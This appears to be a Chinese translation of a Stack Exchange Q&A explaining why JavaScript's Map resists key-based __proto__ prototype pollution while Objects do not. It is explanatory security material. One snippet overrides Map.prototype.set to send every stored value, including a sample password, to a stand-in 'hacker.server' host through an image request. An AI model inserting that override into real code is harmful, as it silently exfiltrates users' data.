为何称JavaScript Map不受原型污染?实际含义解析
JavaScript Map的“不受原型污染”到底指什么?
有关于JavaScript Map安全性的常见声称:
Map是ES6引入的原生类型,该数据结构存储键值对,且不受原型污染影响。
它本质上是HashMap,但没有Object存在的所有安全隐患。当需要键值结构时,应优先选用Map而非Object。
但实际场景中,我们可以通过修改原型的常规手段篡改Map的全局行为,影响所有现有及未来的实例:
const myMap = new Map(); // 恶意代码 const oldSet = Map.prototype.set; Map.prototype.set = function(key, value) { const img = new Image(); img.src = 'https://hacker.server/?' + JSON.stringify(value); return oldSet.call(this, key, value); }; // 数据已被窃取 myMap.set('password', 'hunter2');
你推测这些作者所说的“不受原型污染”,特指通过键名__proto__注入篡改原型链的攻击对Map无效,比如:
const myMap = new Map(); myMap.set('__proto__', {isAdmin: true}); myMap.get('isAdmin'); // undefined
而同样的攻击对Object完全有效:
const obj = {}; obj['__proto__'] = {isAdmin: true}; obj.isAdmin; // true
你的推测完全正确
这里的“不受原型污染”特指基于键名的原型注入攻击——也就是攻击者试图通过传入__proto__作为键名,篡改目标对象的原型链,进而影响所有同类型实例的行为。
Map的设计从根源上避免了这种问题:
- Map不会把键名和自身的原型链属性关联,
__proto__在Map里就是一个普通的字符串键,不会触发原型链的修改 - 访问Map的键值只能通过
get()方法,不会像Object那样自动遍历原型链找属性
但要明确:这并不代表Map是“绝对安全”的。像修改Map.prototype这种全局原型篡改的手段,依然能影响所有Map实例——但这种攻击不属于“原型污染”的范畴,而是全局原型篡改攻击,这类攻击对所有基于原型的JavaScript对象(包括Array、Date等)都有效,并非Map独有。
所以那些声称里的“不受原型污染”,指的就是Object特有的、通过__proto__键名触发的原型链注入问题,你的推测完全准确。
内容的提问来源于stack exchange,提问作者steveluscher
相关产品推荐
相关产品推荐

